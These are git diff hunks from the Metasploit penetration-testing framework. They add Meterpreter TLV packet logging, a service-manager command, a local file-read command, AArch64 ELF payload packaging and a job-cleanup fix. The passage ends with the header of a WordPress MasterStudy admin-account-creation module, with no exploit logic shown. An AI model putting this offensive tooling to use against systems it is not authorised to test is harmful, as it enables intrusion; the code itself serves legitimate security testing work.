raise RuntimeError, 'Unable to align apk with zipalign.'
|
||||
end
|
||||
|
||||
print_status "Signing #{aligned_apk} with apksigner\n"
|
||||
apksigner_output = run_cmd([
|
||||
'apksigner', 'sign', '--ks', keystore, '--ks-pass', "pass:#{storepass}", aligned_apk
|
||||
])
|
||||
if apksigner_output.to_s.include?('Failed')
|
||||
print_error(apksigner_output)
|
||||
raise RuntimeError, 'Signing with apksigner failed.'
|
||||
end
|
||||
|
||||
apksigner_verify = run_cmd(['apksigner', 'verify', '--verbose', aligned_apk])
|
||||
if apksigner_verify.to_s.include?('DOES NOT VERIFY')
|
||||
print_error(apksigner_verify)
|
||||
raise RuntimeError, 'Signature verification failed.'
|
||||
end
|
||||
else
|
||||
aligned_apk = injected_apk
|
||||
end
|
||||
|
||||
@@ -1914,6 +1914,18 @@ class Core
|
||||
print_warning("Changing the SSL option's value may require changing RPORT!")
|
||||
end
|
||||
|
||||
if name.casecmp?('SessionTlvLogging')
|
||||
# Check if we need to append the default filename if user provided an output directory
|
||||
if datastore[name].start_with?('file:')
|
||||
pathname = ::Pathname.new(datastore[name].split('file:').last)
|
||||
if ::File.directory?(pathname)
|
||||
datastore[name] = ::File.join(datastore[name], 'sessiontlvlogging.txt')
|
||||
end
|
||||
end
|
||||
|
||||
framework.sessions.each { |_index, session| session.initialize_tlv_logging(datastore[name]) }
|
||||
end
|
||||
|
||||
print_line("#{name} => #{datastore[name]}")
|
||||
end
|
||||
|
||||
|
||||
@@ -9,6 +9,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
'-e' => [true, 'Expression to evaluate.']
|
||||
)
|
||||
|
||||
@@_servicemanager_opts = Rex::Parser::Arguments.new(
|
||||
['-l', '--list'] => [false, 'View the currently running services' ]
|
||||
)
|
||||
|
||||
def initialize(driver)
|
||||
super
|
||||
end
|
||||
@@ -18,7 +22,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
end
|
||||
|
||||
def commands
|
||||
{
|
||||
commands = {
|
||||
'irb' => 'Open an interactive Ruby shell in the current context',
|
||||
'pry' => 'Open the Pry debugger on the current module or Framework',
|
||||
'edit' => 'Edit the current module or a file with the preferred editor',
|
||||
@@ -26,6 +30,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
'log' => 'Display framework.log paged to the end if possible',
|
||||
'time' => 'Time how long it takes to run a particular command'
|
||||
}
|
||||
if framework.features.enabled?(Msf::FeatureManager::SERVICEMANAGER_COMMAND)
|
||||
commands['_servicemanager'] = 'Interact with the Rex::ServiceManager'
|
||||
end
|
||||
commands
|
||||
end
|
||||
|
||||
def local_editor
|
||||
@@ -77,7 +85,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
files = output.split("\n")
|
||||
|
||||
files.each do |file|
|
||||
next if file.end_with?('_spec.rb')
|
||||
next if file.end_with?('_spec.rb') || file.end_with?("spec_helper.rb")
|
||||
f = File.join(Msf::Config.install_root, file)
|
||||
reload_file(f, print_errors: false)
|
||||
end
|
||||
@@ -312,6 +320,63 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Interact with framework's service manager
|
||||
#
|
||||
def cmd__servicemanager(*args)
|
||||
if args.include?('-h') || args.include?('--help')
|
||||
cmd__servicemanager_help
|
||||
return false
|
||||
end
|
||||
|
||||
opts = {}
|
||||
@@_servicemanager_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-l', '--list'
|
||||
opts[:list] = true
|
||||
end
|
||||
end
|
||||
|
||||
if opts.empty?
|
||||
opts[:list] = true
|
||||
end
|
||||
|
||||
if opts[:list]
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => 'Services',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Id', 'Name', 'References']
|
||||
)
|
||||
Rex::ServiceManager.instance.each.with_index do |(name, instance), id|
|
||||
# TODO: Update rex-core to support querying the reference count
|
||||
table << [id, name, instance.instance_variable_get(:@_references)]
|
||||
end
|
||||
|
||||
if table.rows.empty?
|
||||
print_status("No framework services are currently running.")
|
||||
else
|
||||
print_line(table.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the _servicemanager command
|
||||
#
|
||||
def cmd__servicemanager_tabs(_str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
@@_servicemanager_opts.option_keys
|
||||
end
|
||||
|
||||
def cmd__servicemanager_help
|
||||
print_line 'Usage: servicemanager'
|
||||
print_line
|
||||
print_line 'Manage running framework services'
|
||||
print @@_servicemanager_opts.usage
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Time how long in seconds a command takes to execute
|
||||
#
|
||||
|
||||
@@ -1439,6 +1439,7 @@ module Msf
|
||||
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
|
||||
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
|
||||
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
|
||||
[ 'SessionTlvLogging', framework.datastore['SessionTlvLogging'] || "false", 'Log all incoming and outgoing TLV packets' ],
|
||||
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
|
||||
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
|
||||
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
|
||||
|
||||
@@ -58,7 +58,7 @@ module Msf
|
||||
}
|
||||
}
|
||||
|
||||
handler.datastore.merge!(mod.datastore)
|
||||
handler.share_datastore(mod.datastore)
|
||||
handler.exploit_simple(handler_opts)
|
||||
job_id = handler.job_id
|
||||
|
||||
|
||||
@@ -393,6 +393,8 @@ class Driver < Msf::Ui::Driver
|
||||
case var.downcase
|
||||
when 'sessionlogging'
|
||||
handle_session_logging(val) if glob
|
||||
when 'sessiontlvlogging'
|
||||
handle_session_tlv_logging(val) if glob
|
||||
when 'consolelogging'
|
||||
handle_console_logging(val) if glob
|
||||
when 'loglevel'
|
||||
@@ -412,6 +414,8 @@ class Driver < Msf::Ui::Driver
|
||||
case var.downcase
|
||||
when 'sessionlogging'
|
||||
handle_session_logging('0') if glob
|
||||
when 'sessiontlvlogging'
|
||||
handle_session_tlv_logging('false') if glob
|
||||
when 'consolelogging'
|
||||
handle_console_logging('0') if glob
|
||||
when 'loglevel'
|
||||
@@ -601,6 +605,53 @@ protected
|
||||
$VERBOSE = verbose
|
||||
end
|
||||
|
||||
def handle_session_tlv_logging(val)
|
||||
if val
|
||||
if val.casecmp?('console') || val.casecmp?('true') || val.casecmp?('false')
|
||||
return true
|
||||
elsif val.start_with?('file:') && !val.split('file:').empty?
|
||||
pathname = ::Pathname.new(val.split('file:').last)
|
||||
|
||||
# Check if we want to write the log to file
|
||||
if ::File.file?(pathname)
|
||||
if ::File.writable?(pathname)
|
||||
return true
|
||||
else
|
||||
print_status "No write permissions for log output file: #{pathname}"
|
||||
return false
|
||||
end
|
||||
# Check if we want to write the log file to a directory
|
||||
elsif ::File.directory?(pathname)
|
||||
if ::File.writable?(pathname)
|
||||
return true
|
||||
else
|
||||
print_status "No write permissions for log output directory: #{pathname}"
|
||||
return false
|
||||
end
|
||||
# Check if the subdirectory exists
|
||||
elsif ::File.directory?(pathname.dirname)
|
||||
if ::File.writable?(pathname.dirname)
|
||||
return true
|
||||
else
|
||||
print_status "No write permissions for log output directory: #{pathname.dirname}"
|
||||
return false
|
||||
end
|
||||
else
|
||||
# Else the directory doesn't exist. Check if we can create it.
|
||||
begin
|
||||
::FileUtils.mkdir_p(pathname.dirname)
|
||||
return true
|
||||
rescue ::StandardError => e
|
||||
print_status "Error when trying to create directory #{pathname.dirname}: #{e.message}"
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Require the appropriate readline library based on the user's preference.
|
||||
#
|
||||
# @return [void]
|
||||
|
||||
@@ -67,6 +67,7 @@ module Msf
|
||||
PromptChar
|
||||
PromptTimeFormat
|
||||
MeterpreterPrompt
|
||||
SessionTlvLogging
|
||||
]
|
||||
if !mod
|
||||
return res
|
||||
@@ -122,6 +123,10 @@ module Msf
|
||||
# Provide tab completion for option values
|
||||
#
|
||||
def tab_complete_option_values(mod, str, words, opt:)
|
||||
if words.last.casecmp?('SessionTlvLogging')
|
||||
return %w[console true false file:<file>]
|
||||
end
|
||||
|
||||
res = []
|
||||
# With no module, we have nothing to complete
|
||||
if !mod
|
||||
|
||||
@@ -81,6 +81,8 @@ module Msf
|
||||
commits = git_client.commits(repository, branch, path: path)
|
||||
rescue Faraday::ConnectionFailed
|
||||
raise PullRequestFinder::Exception, 'No network connection to Github.'
|
||||
rescue Octokit::Unauthorized
|
||||
raise PullRequestFinder::Exception, 'Github Authentication Failed.'
|
||||
end
|
||||
|
||||
if commits.empty?
|
||||
|
||||
@@ -1128,6 +1128,17 @@ require 'digest/sha1'
|
||||
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
# @param code [String]
|
||||
# @param opts [Hash]
|
||||
# @option [String] :template
|
||||
# @return [String] Returns an elf
|
||||
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
|
||||
to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
|
||||
end
|
||||
|
||||
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
|
||||
#
|
||||
# @param framework [Msf::Framework]
|
||||
@@ -2087,6 +2098,8 @@ require 'digest/sha1'
|
||||
to_linux_x64_elf_dll(framework, code, exeopts)
|
||||
when ARCH_ARMLE
|
||||
to_linux_armle_elf_dll(framework, code, exeopts)
|
||||
when ARCH_AARCH64
|
||||
to_linux_aarch64_elf_dll(framework, code, exeopts)
|
||||
end
|
||||
end
|
||||
when 'macho', 'osx-app'
|
||||
|
||||
+16
-2
@@ -20,6 +20,18 @@ class Job
|
||||
self.clean_proc = clean_proc
|
||||
self.ctx = ctx
|
||||
self.start_time = nil
|
||||
self.cleanup_mutex = Mutex.new
|
||||
self.cleaned_up = false
|
||||
end
|
||||
|
||||
def synchronized_cleanup
|
||||
# Avoid start and stop both calling cleanup
|
||||
self.cleanup_mutex.synchronize do
|
||||
unless cleaned_up
|
||||
self.cleaned_up = true
|
||||
self.clean_proc.call(ctx) if self.clean_proc
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
@@ -36,7 +48,7 @@ class Job
|
||||
begin
|
||||
run_proc.call(ctx)
|
||||
ensure
|
||||
clean_proc.call(ctx)
|
||||
synchronized_cleanup
|
||||
container.remove_job(self)
|
||||
end
|
||||
}
|
||||
@@ -59,7 +71,7 @@ class Job
|
||||
self.job_thread = nil
|
||||
end
|
||||
|
||||
clean_proc.call(ctx) if (clean_proc)
|
||||
synchronized_cleanup
|
||||
end
|
||||
|
||||
#
|
||||
@@ -92,6 +104,8 @@ protected
|
||||
attr_accessor :clean_proc #:nodoc:
|
||||
attr_writer :ctx #:nodoc:
|
||||
attr_writer :start_time #:nodoc:
|
||||
attr_accessor :cleanup_mutex #:nodoc:
|
||||
attr_accessor :cleaned_up #:nodoc:
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -111,6 +111,8 @@ class Client
|
||||
end
|
||||
|
||||
shutdown_passive_dispatcher
|
||||
|
||||
shutdown_tlv_logging
|
||||
end
|
||||
|
||||
#
|
||||
@@ -165,6 +167,8 @@ class Client
|
||||
end
|
||||
end
|
||||
|
||||
initialize_tlv_logging(opts[:tlv_log]) unless opts[:tlv_log].nil?
|
||||
|
||||
# Protocol specific dispatch mixins go here, this may be neader with explicit Client classes
|
||||
opts[:dispatch_ext].each {|dx| self.extend(dx)} if opts[:dispatch_ext]
|
||||
initialize_passive_dispatcher if opts[:passive_dispatcher]
|
||||
@@ -502,4 +506,3 @@ protected
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
||||
|
||||
@@ -9,6 +9,7 @@ module Post
|
||||
module Meterpreter
|
||||
|
||||
class CommandMapper
|
||||
@@cached_tlv_types = {}
|
||||
|
||||
# Get the numeric command ID for the specified command name.
|
||||
#
|
||||
@@ -97,6 +98,36 @@ class CommandMapper
|
||||
commands
|
||||
end
|
||||
|
||||
|
||||
# Get the TLV Type symbols that are defined with the value
|
||||
# Potential return values are [], [:TLV_TYPE_A], and [:TLV_TYPE_A, :PACKET_TYPE_B]
|
||||
#
|
||||
# Returning an array is a solution to having multiple TLV types having the same value, as documented here:
|
||||
# https://github.com/rapid7/metasploit-framework/issues/16267
|
||||
#
|
||||
# @param Integer value The value of the TLV type to retrieve the TLV type names for.
|
||||
# @return [Array<Symbol>] An array of symbols of all TLV types that are defined with the value. Can be empty.
|
||||
def self.get_tlv_names(value)
|
||||
return @@cached_tlv_types[value] unless @@cached_tlv_types[value].nil? || @@cached_tlv_types[value].empty?
|
||||
|
||||
# Default to arrays that contain TLV Types, so that we only deal with one data type
|
||||
@@cached_tlv_types = Hash.new { |h, k| h[k] = [] }
|
||||
|
||||
available_modules = [
|
||||
::Rex::Post::Meterpreter,
|
||||
*::Rex::Post::Meterpreter::ExtensionMapper.get_extension_klasses
|
||||
].uniq
|
||||
|
||||
available_modules.each do |mod|
|
||||
mod.constants.each do |const|
|
||||
next unless const.to_s.start_with?('TLV_TYPE_') || const.to_s.start_with?('PACKET_')
|
||||
|
||||
@@cached_tlv_types[mod.const_get(const)] << const
|
||||
end
|
||||
end
|
||||
|
||||
@@cached_tlv_types[value]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -89,6 +89,10 @@ class ExtensionMapper
|
||||
@@klasses[name]
|
||||
end
|
||||
|
||||
def self.get_extension_klasses
|
||||
self.get_extension_names.map { |name| self.get_extension_module(name) }
|
||||
end
|
||||
|
||||
def self.dump_extensions
|
||||
self.get_extension_names.each { |n|
|
||||
STDERR.puts("EXTENSION_ID_#{n.upcase} = #{self.get_extension_id(n)}\n")
|
||||
|
||||
@@ -314,6 +314,22 @@ class Tlv
|
||||
end
|
||||
end
|
||||
|
||||
def _tlv_type_string(value)
|
||||
tlv_names = ::Rex::Post::Meterpreter::CommandMapper.get_tlv_names(value).map { |name| name.to_s.gsub('TLV_TYPE_', '').gsub('PACKET_TYPE_', '') }
|
||||
|
||||
case tlv_names.length
|
||||
when 0
|
||||
"unknown-#{value}"
|
||||
when 1
|
||||
tlv_names.first
|
||||
else
|
||||
# In the off-chance we have multiple TLV types which have the same value
|
||||
# https://github.com/rapid7/metasploit-framework/issues/16267
|
||||
# Sort it to ensure consistency across tests
|
||||
"oneOf(#{tlv_names.sort_by(&:to_s).join(',')})"
|
||||
end
|
||||
end
|
||||
|
||||
def inspect
|
||||
utype = type ^ TLV_META_TYPE_COMPRESSED
|
||||
group = false
|
||||
@@ -327,79 +343,36 @@ class Tlv
|
||||
when TLV_META_TYPE_COMPLEX; "COMPLEX"
|
||||
else; 'unknown-meta-type'
|
||||
end
|
||||
|
||||
stype = case type
|
||||
when PACKET_TYPE_REQUEST; "Request"
|
||||
when PACKET_TYPE_RESPONSE; "Response"
|
||||
when TLV_TYPE_REQUEST_ID; "REQUEST-ID"
|
||||
when TLV_TYPE_COMMAND_ID; "COMMAND-ID"
|
||||
when TLV_TYPE_RESULT; "RESULT"
|
||||
when TLV_TYPE_EXCEPTION; "EXCEPTION"
|
||||
when TLV_TYPE_STRING; "STRING"
|
||||
when TLV_TYPE_UINT; "UINT"
|
||||
when TLV_TYPE_BOOL; "BOOL"
|
||||
|
||||
when TLV_TYPE_LENGTH; "LENGTH"
|
||||
when TLV_TYPE_DATA; "DATA"
|
||||
when TLV_TYPE_FLAGS; "FLAGS"
|
||||
|
||||
when TLV_TYPE_CHANNEL_ID; "CHANNEL-ID"
|
||||
when TLV_TYPE_CHANNEL_TYPE; "CHANNEL-TYPE"
|
||||
when TLV_TYPE_CHANNEL_DATA; "CHANNEL-DATA"
|
||||
when TLV_TYPE_CHANNEL_DATA_GROUP; "CHANNEL-DATA-GROUP"
|
||||
when TLV_TYPE_CHANNEL_CLASS; "CHANNEL-CLASS"
|
||||
when TLV_TYPE_CHANNEL_PARENTID; "CHANNEL-PARENTID"
|
||||
|
||||
when TLV_TYPE_SEEK_WHENCE; "SEEK-WHENCE"
|
||||
when TLV_TYPE_SEEK_OFFSET; "SEEK-OFFSET"
|
||||
when TLV_TYPE_SEEK_POS; "SEEK-POS"
|
||||
|
||||
when TLV_TYPE_EXCEPTION_CODE; "EXCEPTION-CODE"
|
||||
when TLV_TYPE_EXCEPTION_STRING; "EXCEPTION-STRING"
|
||||
|
||||
when TLV_TYPE_LIBRARY_PATH; "LIBRARY-PATH"
|
||||
when TLV_TYPE_TARGET_PATH; "TARGET-PATH"
|
||||
when TLV_TYPE_MIGRATE_PID; "MIGRATE-PID"
|
||||
when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
|
||||
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
|
||||
when TLV_TYPE_MIGRATE_BASE_ADDR; "MIGRATE-BASE-ADDR"
|
||||
when TLV_TYPE_MIGRATE_ENTRY_POINT; "MIGRATE-ENTRY-POINT"
|
||||
when TLV_TYPE_MIGRATE_STUB; "MIGRATE-STUB"
|
||||
when TLV_TYPE_MIGRATE_SOCKET_PATH; "MIGRATE-SOCKET-PATH"
|
||||
when TLV_TYPE_LIB_LOADER_NAME; "LIB-LOADER-NAME"
|
||||
when TLV_TYPE_LIB_LOADER_ORDINAL; "LIB-LOADER-ORDINAL"
|
||||
when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE"
|
||||
when TLV_TYPE_TRANS_URL; "TRANS-URL"
|
||||
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
|
||||
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
|
||||
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
|
||||
when TLV_TYPE_TRANS_PROXY_HOST; "TRANS-PROXY-HOST"
|
||||
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
|
||||
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
|
||||
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
|
||||
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
|
||||
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
|
||||
when TLV_TYPE_UUID; "UUID"
|
||||
when TLV_TYPE_SESSION_GUID; "SESSION-GUID"
|
||||
when TLV_TYPE_RSA_PUB_KEY; "RSA-PUB-KEY"
|
||||
when TLV_TYPE_SYM_KEY_TYPE; "SYM-KEY-TYPE"
|
||||
when TLV_TYPE_SYM_KEY; "SYM-KEY"
|
||||
when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY"
|
||||
|
||||
when TLV_TYPE_PIVOT_ID; "PIVOT-ID"
|
||||
when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA"
|
||||
when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME"
|
||||
|
||||
else; "unknown-#{type}"
|
||||
when PACKET_TYPE_REQUEST; 'Request'
|
||||
when PACKET_TYPE_RESPONSE; 'Response'
|
||||
else; _tlv_type_string(type)
|
||||
end
|
||||
|
||||
val = value.inspect
|
||||
if val.length > 50
|
||||
val = val[0,50] + ' ..."'
|
||||
end
|
||||
group ||= (self.class.to_s =~ /Packet/)
|
||||
if group
|
||||
has_command_ids = type == PACKET_TYPE_RESPONSE && (self.method == COMMAND_ID_CORE_ENUMEXTCMD || self.method == COMMAND_ID_CORE_LOADLIB)
|
||||
if has_command_ids
|
||||
longest_command_id = self.get_tlvs(TLV_TYPE_UINT).map(&:value).max
|
||||
longest_command_id_length = longest_command_id.to_s.length
|
||||
end
|
||||
|
||||
tlvs_inspect = "tlvs=[\n"
|
||||
@tlvs.each { |t|
|
||||
tlvs_inspect << " #{t.inspect}\n"
|
||||
if t.type == TLV_TYPE_UINT && has_command_ids && longest_command_id_length
|
||||
command_name = ::Rex::Post::Meterpreter::CommandMapper.get_command_name(t.value)
|
||||
command_output = "command=#{command_name}>\n"
|
||||
this_value_length = t.value.to_s.length
|
||||
adjusted_command_name = command_output.rjust(command_output.length + longest_command_id_length - this_value_length)
|
||||
tlvs_inspect << " #{t.inspect.gsub(/>$/, '')} " << adjusted_command_name
|
||||
else
|
||||
tlvs_inspect << " #{t.inspect}\n"
|
||||
end
|
||||
}
|
||||
tlvs_inspect << "]"
|
||||
else
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
require 'rex/post/meterpreter/command_mapper'
|
||||
require 'rex/post/meterpreter/packet_response_waiter'
|
||||
require 'rex/exceptions'
|
||||
require 'pathname'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
@@ -130,8 +131,7 @@ module PacketDispatcher
|
||||
tlv_enc_key = opts[:tlv_enc_key]
|
||||
end
|
||||
|
||||
# Uncomment this line if you want to see outbound packets in the console.
|
||||
# STDERR.puts("\n\e[1;31mSEND\e[0m: #{packet.inspect}\n")
|
||||
log_packet(packet, :send)
|
||||
|
||||
bytes = 0
|
||||
raw = packet.to_r(session_guid, tlv_enc_key)
|
||||
@@ -579,8 +579,7 @@ module PacketDispatcher
|
||||
def dispatch_inbound_packet(packet)
|
||||
handled = false
|
||||
|
||||
# Uncomment this line if you want to see inbound packets in the console
|
||||
# STDERR.puts("\n\e[1;32mRECV\e[0m: #{packet.inspect}\n")
|
||||
log_packet(packet, :recv)
|
||||
|
||||
# Update our last reply time
|
||||
self.last_checkin = ::Time.now
|
||||
@@ -634,11 +633,80 @@ module PacketDispatcher
|
||||
@inbound_handlers.delete(handler)
|
||||
end
|
||||
|
||||
def initialize_tlv_logging(opt)
|
||||
self.tlv_logging_error_occured = false
|
||||
self.tlv_log_file = nil
|
||||
self.tlv_log_file_path = nil
|
||||
self.tlv_log_output = :none
|
||||
|
||||
if opt.casecmp?('console') || opt.casecmp?('true')
|
||||
self.tlv_log_output = :console
|
||||
elsif opt.start_with?('file:')
|
||||
self.tlv_log_output = :file
|
||||
self.tlv_log_file_path = opt.split('file:').last
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :receiver_thread # :nodoc:
|
||||
attr_accessor :dispatcher_thread # :nodoc:
|
||||
attr_accessor :waiters # :nodoc:
|
||||
|
||||
attr_accessor :tlv_log_output # :nodoc:
|
||||
attr_accessor :tlv_log_file # :nodoc:
|
||||
attr_accessor :tlv_log_file_path # :nodoc:
|
||||
attr_accessor :tlv_logging_error_occured # :nodoc:
|
||||
|
||||
def shutdown_tlv_logging
|
||||
self.tlv_log_output = :none
|
||||
self.tlv_log_file.close unless self.tlv_log_file.nil?
|
||||
self.tlv_log_file = nil
|
||||
self.tlv_log_file_path = nil
|
||||
end
|
||||
|
||||
def log_packet(packet, packet_type)
|
||||
# if we previously failed to log, return
|
||||
return if self.tlv_logging_error_occured || self.tlv_log_output == :none
|
||||
|
||||
if self.tlv_log_output == :console
|
||||
log_packet_to_console(packet, packet_type)
|
||||
elsif self.tlv_log_output == :file
|
||||
log_packet_to_file(packet, packet_type)
|
||||
end
|
||||
end
|
||||
|
||||
def log_packet_to_console(packet, packet_type)
|
||||
if packet_type == :send
|
||||
print "\n%redSEND%clr: #{packet.inspect}\n"
|
||||
elsif packet_type == :recv
|
||||
print "\n%bluRECV%clr: #{packet.inspect}\n"
|
||||
end
|
||||
end
|
||||
|
||||
def log_packet_to_file(packet, packet_type)
|
||||
pathname = ::Pathname.new(self.tlv_log_file_path.split('file:').last)
|
||||
|
||||
begin
|
||||
if self.tlv_log_file.nil? || self.tlv_log_file.path != pathname.to_s
|
||||
self.tlv_log_file.close unless self.tlv_log_file.nil?
|
||||
|
||||
self.tlv_log_file = ::File.open(pathname, 'a+')
|
||||
end
|
||||
|
||||
if packet_type == :recv
|
||||
self.tlv_log_file.puts("\nRECV: #{packet.inspect}\n")
|
||||
elsif packet_type == :send
|
||||
self.tlv_log_file.puts("\nSEND: #{packet.inspect}\n")
|
||||
end
|
||||
rescue ::StandardError => e
|
||||
self.tlv_logging_error_occured = true
|
||||
print_error "Failed writing to TLV Log File: #{pathname} with error: #{e.message}. Turning off logging for this session: #{self.inspect}..."
|
||||
elog(e)
|
||||
shutdown_tlv_logging
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
module HttpPacketDispatcher
|
||||
|
||||
@@ -88,6 +88,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
'edit' => 'Edit a file',
|
||||
'getlwd' => 'Print local working directory',
|
||||
'getwd' => 'Print working directory',
|
||||
'lcat' => 'Read the contents of a local file to the screen',
|
||||
'lcd' => 'Change local working directory',
|
||||
'lpwd' => 'Print local working directory',
|
||||
'ls' => 'List files',
|
||||
@@ -114,6 +115,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
'edit' => [],
|
||||
'getlwd' => [],
|
||||
'getwd' => [COMMAND_ID_STDAPI_FS_GETWD],
|
||||
'lcat' => [],
|
||||
'lcd' => [],
|
||||
'lpwd' => [],
|
||||
'ls' => [COMMAND_ID_STDAPI_FS_STAT, COMMAND_ID_STDAPI_FS_LS],
|
||||
@@ -306,6 +308,43 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
tab_complete_cfilenames(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Reads the contents of a local file and prints them to the screen.
|
||||
#
|
||||
def cmd_lcat(*args)
|
||||
if (args.length == 0 || args.include?('-h') || args.include?('--help'))
|
||||
print_line("Usage: lcat file")
|
||||
return true
|
||||
end
|
||||
|
||||
path = args[0]
|
||||
path = ::File.expand_path(path) if path =~ path_expand_regex
|
||||
|
||||
|
||||
if (::File.stat(path).directory?)
|
||||
print_error("#{path} is a directory")
|
||||
else
|
||||
fd = ::File.new(path, "rb")
|
||||
begin
|
||||
until fd.eof?
|
||||
print(fd.read)
|
||||
end
|
||||
# EOFError is raised if file is empty, do nothing, just catch
|
||||
rescue EOFError
|
||||
end
|
||||
fd.close
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the lcat command
|
||||
#
|
||||
def cmd_lcat_tabs(str, words)
|
||||
tab_complete_filenames(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Change the working directory.
|
||||
#
|
||||
|
||||
@@ -297,8 +297,26 @@ module DispatcherShell
|
||||
# Return a list of possible directory for tab completion.
|
||||
#
|
||||
def tab_complete_directory(str, words)
|
||||
str = '.' + ::File::SEPARATOR if str.empty?
|
||||
dirs = Dir.glob(str.concat('*'), File::FNM_CASEFOLD).select { |x| File.directory?(x) }
|
||||
directory = str[-1] == File::SEPARATOR ? str : File.dirname(str)
|
||||
filename = str[-1] == File::SEPARATOR ? '' : File.basename(str)
|
||||
entries = Dir.entries(directory).select { |fp| fp.start_with?(filename) }
|
||||
dirs = entries - ['.', '..']
|
||||
dirs = dirs.map { |fp| File.join(directory, fp).gsub(/\A\.\//, '') }
|
||||
dirs = dirs.select { |x| File.directory?(x) }
|
||||
dirs = dirs.map { |x| x + File::SEPARATOR }
|
||||
if dirs.length == 1 && dirs[0] != str && dirs[0].end_with?(File::SEPARATOR)
|
||||
# If Readline receives a single value from this function, it will assume we're done with the tab
|
||||
# completing, and add an extra space at the end.
|
||||
# This is annoying if we're recursively tab-traversing our way through subdirectories -
|
||||
# we may want to continue traversing, but MSF will add a space, requiring us to back up to continue
|
||||
# tab-completing our way through successive subdirectories.
|
||||
::Readline.completion_append_character = nil
|
||||
end
|
||||
|
||||
if dirs.length == 0 && File.directory?(str)
|
||||
# we've hit the end of the road
|
||||
dirs = [str]
|
||||
end
|
||||
|
||||
dirs
|
||||
end
|
||||
|
||||
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.75'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.77'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.18'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
require 'metasploit/framework/hashes/identify'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress MasterStudy Admin Account Creation',
|
||||
'Description' => %q{
|
||||
MasterStudy LMS, a WordPress plugin,
|
||||
prior to 2.7.6 is affected by a privilege escalation where an unauthenticated
|
||||
user is able to create an administrator account for wordpress itself.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Numan Türle', # edb
|
||||
],
|
